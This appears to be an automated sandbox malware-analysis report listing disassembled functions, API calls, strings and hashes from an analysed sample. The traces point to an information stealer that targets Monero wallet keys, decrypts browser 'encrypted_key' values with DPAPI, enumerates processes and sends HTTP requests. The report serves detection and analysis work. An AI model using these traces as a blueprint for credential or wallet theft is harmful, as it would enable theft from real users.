Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 549879638-738592651
Opcode ID: d72cc2bf50e8a28f85b326320398903dcb9b263f2162ae2e4965cf544e7aa54a
Instruction ID: 3696a06c464dc6914f349687c580eb779ba0e89ff5e0c5b4ce10876d45ddddb1
Opcode Fuzzy Hash: d72cc2bf50e8a28f85b326320398903dcb9b263f2162ae2e4965cf544e7aa54a
Instruction Fuzzy Hash: C1314DB6D00219ABCF04DFE8EC46EFFB7B8AF58304F444518E901A7241EB709A14CBA5

Function 00138120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0013816A
Process32First.KERNEL32(?,00000128), ref: 0013817E
Process32Next.KERNEL32(?,00000128), ref: 00138193

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

FindCloseChangeNotification.KERNEL32(?), ref: 00138201

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: 42a41c9105da38002ad00f4dda452be5551c73e78b2eaba9dfa144e483f68eec
Instruction ID: 11f69e16a8b405d7e3f3f32caed0cbb58f813a1f3e3258a711ddf30d08add227
Opcode Fuzzy Hash: 42a41c9105da38002ad00f4dda452be5551c73e78b2eaba9dfa144e483f68eec
Instruction Fuzzy Hash: 53314871901218ABCB25EB55DC42FEEB77CEF59700F504299F50AA61A0DF706A48CFA1

Function 00136593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,011F91F0,?,001410DC,?,00000000,?,001410E0,?,00000000,00140ADA), ref: 0013656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00136588
CloseHandle.KERNEL32(00000000), ref: 00136599
Sleep.KERNEL32(00001770), ref: 001365A4
CloseHandle.KERNEL32(?,00000000,?,011F91F0,?,001410DC,?,00000000,?,001410E0,?,00000000,00140ADA), ref: 001365BA
ExitProcess.KERNEL32 ref: 001365C2

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 11a6ed297b748e74935acca5b1c5c0863fb47f3a1588c0b9125fbbb79903880e
Instruction ID: 02d7f923d0cbee06ac2a2888fd93360676576350ce27eaa9abf567cdd1b8f60c
Opcode Fuzzy Hash: 11a6ed297b748e74935acca5b1c5c0863fb47f3a1588c0b9125fbbb79903880e
Instruction Fuzzy Hash: 1FF08C74A00205FFFB11ABA0DC1ABBE7778AF19741F508424B912A90D5DFF06504CA65

Function 00136B70 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 00136B7E

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00136C2C

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4138519520
Opcode ID: 9468fefc4f330a002a656900bcde25e2a0e21c079e8c06d54829e5a5dc26c076
Instruction ID: f0bf1d69e4711090dcb476bd2e3f7f5d504690360c2756e1c1c0c58188d919e0
Opcode Fuzzy Hash: 9468fefc4f330a002a656900bcde25e2a0e21c079e8c06d54829e5a5dc26c076
Instruction Fuzzy Hash: B3514EB0D00218AFDB24EB90DC95BEEB374AF64304F5481A9E25976181EB746E88CF59

Function 00134CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

Part of subcall function 001262D0: InternetOpenA.WININET(00140DE6,00000001,00000000,00000000,00000000), ref: 00126331
Part of subcall function 001262D0: StrCmpCA.SHLWAPI(?,011FEAA8), ref: 00126353
Part of subcall function 001262D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00126385
Part of subcall function 001262D0: HttpOpenRequestA.WININET(00000000,GET,?,011FE438,00000000,00000000,00400100,00000000), ref: 001263D5
Part of subcall function 001262D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0012640F
Part of subcall function 001262D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00126421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00134D08

Strings

ERROR, xrefs: 00134D53
ERROR, xrefs: 00134CFA

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 053af1bc8539df93d0715de3f6771c6a4a24bf27440b7e61615f073351ea9bc6
Instruction ID: ef93e00221e6d2f98ff26ed8c2df4412eda454912b663f98ca53b5ed799264e5
Opcode Fuzzy Hash: 053af1bc8539df93d0715de3f6771c6a4a24bf27440b7e61615f073351ea9bc6
Instruction Fuzzy Hash: 30111230900148ABCB18FF64EC56EED7738AF70300F908568F85A5B192EF70BB14CA92

Function 00134A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00138880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001388AB

lstrcat.KERNEL32(?,00000000), ref: 00134A5A
lstrcat.KERNEL32(?,00141040), ref: 00134A77
lstrcat.KERNEL32(?,011F8E90), ref: 00134A8B
lstrcat.KERNEL32(?,00141044), ref: 00134A9D

Part of subcall function 001343F0: wsprintfA.USER32 ref: 0013440C
Part of subcall function 001343F0: FindFirstFileA.KERNEL32(?,?), ref: 00134423

Part of subcall function 001343F0: StrCmpCA.SHLWAPI(?,00140FAC), ref: 00134451
Part of subcall function 001343F0: StrCmpCA.SHLWAPI(?,00140FB0), ref: 00134467
Part of subcall function 001343F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0013465D
Part of subcall function 001343F0: FindClose.KERNEL32(000000FF), ref: 00134672

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 95327f175aa2a795e5209c06e140f763cfbe3269bef9d085d0f6a4fe5d1f980f
Instruction ID: 024c36a5f2b3d6c28de11d7725967e10c52ebfcc673c78f469d1dacbda981de3
Opcode Fuzzy Hash: 95327f175aa2a795e5209c06e140f763cfbe3269bef9d085d0f6a4fe5d1f980f
Instruction Fuzzy Hash: 2A21FF7A91020467C754F7A0EC46EED373CAF66300F408594B68957191EF747AC88BA1

Function 00130580 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,011F8F90), ref: 001305DA
StrCmpCA.SHLWAPI(00000000,011F8FA0), ref: 001306A6
StrCmpCA.SHLWAPI(00000000,011F8FF0), ref: 001307DD

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: d6582c8859bb9b10064d77d65edbc7f8d04957c59103ef7dbc9655d126d30ef7
Instruction ID: 24b0a5c5e9fe10df4f236a02853de9b70e29284fed6b9811af20c97f0ad88718
Opcode Fuzzy Hash: d6582c8859bb9b10064d77d65edbc7f8d04957c59103ef7dbc9655d126d30ef7
Instruction Fuzzy Hash: B9915975A002089FCB18EF64D995FED77B9FFA5300F408569E8499F251DB30EA09CB92

Function 001305A5 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,011F8F90), ref: 001305DA
StrCmpCA.SHLWAPI(00000000,011F8FA0), ref: 001306A6
StrCmpCA.SHLWAPI(00000000,011F8FF0), ref: 001307DD

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 8acc5f38d1eb06618fa9818cead38da7100c9ace3ca5cc6b5dd4b37f5acfa75b
Instruction ID: fe74dce2a149065f3661ced5d8aa0b7e52ea5325d2a6609e4ac10d3927b86b73
Opcode Fuzzy Hash: 8acc5f38d1eb06618fa9818cead38da7100c9ace3ca5cc6b5dd4b37f5acfa75b
Instruction Fuzzy Hash: 55816775B002089FCF18EF64D991EEDB7B5FF95300F508569E8499F251DB30AA09CB82

Function 00137380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001373B0
RtlAllocateHeap.NTDLL(00000000), ref: 001373B7
GetComputerNameA.KERNEL32(?,00000104), ref: 001373CF

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
